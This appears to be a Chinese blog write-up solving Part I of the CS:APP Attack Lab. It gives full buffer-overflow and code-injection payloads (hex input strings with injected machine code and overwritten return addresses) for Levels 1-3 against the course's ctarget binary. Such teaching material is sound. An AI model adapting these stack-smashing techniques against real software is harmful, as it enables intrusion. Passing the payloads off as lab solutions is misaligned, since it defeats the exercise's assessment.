CSAPP: Attack Lab
Attack Lab
是CS:APP
一书中第三个实验,包括Part I
和Part II
两部分,分别实现Code Injection Attacks
和Return-Oriented Programming
。Code Injection Attacks
主要利用缓冲区溢出执行不安全的代码片段;当栈被标记为nonexecutable
或者位置随机时,可以利用Return-Oriented Programming
达到攻击的目的。
目前的进度是完成了Part I
,等有时间再回来完成Part II
。
Part I: Code Injection Attacks
Level 1
Level 1
利用输入字符串使当前执行的代码段跳转到预设的代码片段,不会涉及到code injection
:当test()
中getbuf()
返回后,我们要改变test()
正常的执行逻辑,不再执行下一条指令,而是让test()
跳转至touch1()
执行指令。 test()
以及touch1()
对应的代码如下所示。
void test()
{
int val;
val = getbuf();
printf("No exploit. Getbuf returned 0x%x\n", val);
}
void touch1()
{
vlevel = 1; / * Part of validation protocol * /
printf("Touch1!: You called touch1()\n");
validate(1);
exit(0);
}
要实现Level 1
中的跳转,关键是利用缓冲区溢出来修改test()
调用getbuf()
时栈帧中的返回地址。使用objdump
将ctarget
反编译,提取getbuf()
关联的的汇编代码,如下所示。
00000000004017a8 <getbuf>:
4017a8: 48 83 ec 28 sub $0x28,%rsp
4017ac: 48 89 e7 mov %rsp,%rdi
4017af: e8 8c 02 00 00 callq 401a40 <Gets>
4017b4: b8 01 00 00 00 mov $0x1,%eax
4017b9: 48 83 c4 28 add $0x28,%rsp
4017bd: c3 retq
4017be: 90 nop
4017bf: 90 nop
注意到%rsp
被减小了$0x28
即40
字节,这意味着getbuf()
开辟了40
字节的缓冲区,而缓冲区以上的4
字节则是getbuf()
执行ret
指令后test()
继续执行的指令的地址。Level 1
要做的就是利用缓冲区溢出,修改这4
字节的值,使之等于touch1()
的地址。根据反编译ctarget
得到的汇编代码,touch1()
的起始地址为0x4017c0
,如下所示。
00000000004017c0 <touch1>:
4017c0: 48 83 ec 08 sub $0x8,%rsp
4017c4: c7 05 0e 2d 20 00 01 movl $0x1,0x202d0e(%rip) # 6044dc <vlevel>
...
综上,Level 1
所需的输入字符串长度为44
字节,前40
字节用于填充缓冲区,具体的值不重要,后4
字节等于touch1()
的地址值0x4017c0
,注意内存存储规则为Little Endian
。
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 17 40 00
我们利用hex2raw
将输入字符串(level1.txt
)转化为字节码,并将字节码文件(level1_bc.txt
)作为ctarget
的输入,如下图所示。
Level 1
通过缓冲区溢出帮助我们理解函数与函数之间跳转的原理,但是并未涉及到参数的传递,这需要通过code injection
来实现。
Level 2
Level 2
的流程与Level 1
相似:test()
调用getbuf()
,当getbuf()
返回之后,开始执行touch2()
的指令。touch2()
有着如下的代码逻辑。
void touch2(unsigned val)
{
vlevel = 2; / * Part of validation protocol * /
if (val == cookie) {
printf("Touch2!: You called touch2(0x%.8x)\n", val);
validate(2);
} else {
printf("Misfire: You called touch2(0x%.8x)\n", val);
fail(2);
}
exit(0);
}
与Level 1
不同,Level 2
除了需要实现指令跳转,还需要将cookie
作为参数传递至touch2()
。这意味着需要执行一段我们自定义的代码来实现参数的传递,这就是所谓的code injection
。
在Level 1
中,我们通过改写返回地址值达到跳转至touch1()
的目的,如果我们现在也仅仅是将返回地址修改为touch2()
的地址,那么参数传递的问题并没有解决。根据x86-64
寄存器使用规范,touch2()
的参数val
存储于寄存器%rdi
,此时%rdi
的值并不是我们期望的cookie
值。如果在跳转至touch2()
执行指令之前,先跳转到某个区域执行一段代码,这段代码能够设置寄存器%rdi
的值,然后再跳转到touch2()
执行,就可以达到我们的目的。关键是这段代码存储于内存的哪块区域?答案是由getbuf()
开辟的缓冲区,也就是Level 1
中可以是任意值的40
字节。基于以上思路,我们需要明确缓冲区的地址以及待注入的代码。
getbuf()
调用Gets()
函数开辟缓冲区,而Gets()
的返回值即是缓冲区的地址,根据x86-64
寄存器使用规范,返回值存储于寄存器%rax
。利用gdb
查看寄存器%rax
的值,如下图所示,缓冲区的起始地址为0x5561dc78
。
待注入的代码设置寄存器%rdi
的值等于cookie
值,然后跳转至touch2()
执行指令。用汇编代码来描述,如下所示。
mov $0x59b997fa,%rdi
pushq $0x4017ec
ret
将以上汇编代码进行汇编,然后进行反编译得到机器代码,如下图所示。
至此,可以写出Level 2
所需的输入字符串,如下所示。
48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55
利用hex2raw
将输入字符串转化为字节码,并将字节码文件作为ctarget
的输入,运行结果如下图所示。
Level 3
Level 3
也需要通过code injection
来传递参数。比Level 2
更复杂的是,Level 3
传递的参数类型是字符串,更确切的说,应该是字符串的地址。与Level 3
相关联的touch3()
如下所示。
void touch3(char *sval)
{
vlevel = 3; / * Part of validation protocol * /
if (hexmatch(cookie, sval)) {
printf("Touch3!: You called touch3(\"%s\")\n", sval);
validate(3);
} else {
printf("Misfire: You called touch3(\"%s\")\n", sval);
fail(3);
}
exit(0);
}
注意到touch3()
内部调用了hexmatch()
,其代码如下所示。同时,根据hexmatch()
的代码逻辑我们推断出touch3()
期待的参数为cookie
值的字符串表示。
/ * Compare string to hex represention of unsigned value * /
int hexmatch(unsigned val, char *sval)
{
char cbuf[110];
/ * Make position of check string unpredictable * /
char *s = cbuf + random() % 100;
sprintf(s, "%.8x", val);
return strncmp(sval, s, 9) == 0;
}
与Level 2
的思路类似,Level 3
通过向getbuf()
开辟的缓冲区中注入代码来达到设置参数值的目的,但是我们发现touch3()
调用了hexmatch()
,hexmatch()
又调用了strncmp()
,这就出现了问题:函数的调用会导致新的数据被push
到栈中,这意味着栈中原有的数据会被覆盖。那么,我们传递的参数,也就是字符串,应该存储在内存的什么位置?
基于以上分析,Level 3
中待注入的代码与Level 2
非常类似,唯一不同的就是Level 2
向寄存器%rdi
存储的是cookie
值,而Level 3
向寄存器%rdi
存储的是cookie
字符串的地址值。我们借助gdb
对比touch3()
调用hexmatch()
前后缓冲区的变化情况,以此定位安全的存储字符串的地址。为此,我们先通过Level 1
中的方法进入touch3()
,并将指令执行至hexmatch()
前一条的指令,如下图所示。
接着执行callq 0x40184c <hexmatch>
指令,对比执行前后缓冲区内容的变化,可以发现缓冲区的 前40
个字节并没有连续的8
个安全的字节供cookie
字符串存储,但是从0x5561dca0
开始的40
个字节在hexmatch()
调用前后并没有发生变化。因此,可以把字符串存储在缓冲区以外的这片内存区域中(我选择以0x5561dca8
为首地址的8
个字节)。
现在可以将已确定的字符串地址存储至寄存器%rdi
,对应的汇编代码如下所示,获取对应机器码的方式与Level 2
一致。
mov $0x5561dca8,%rdi
pushq $0x4018fa
ret
同时,Level 3
的输入字符串需要根据字符串的存储地址做相应的补充,由于字符串的首地址为0x5561dca8
,且字符串长度为8
,因此输入字符串的总长度为56
字节,如下所示。
48 c7 c7 a8 dc 61 55 68 fa 18 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55 00 00 00 00 35 39 62 39 39 37 66 61
借助hex2raw
将输入字符串转化为字节码,并将其作为ctarget
的输入,结果如下图所示。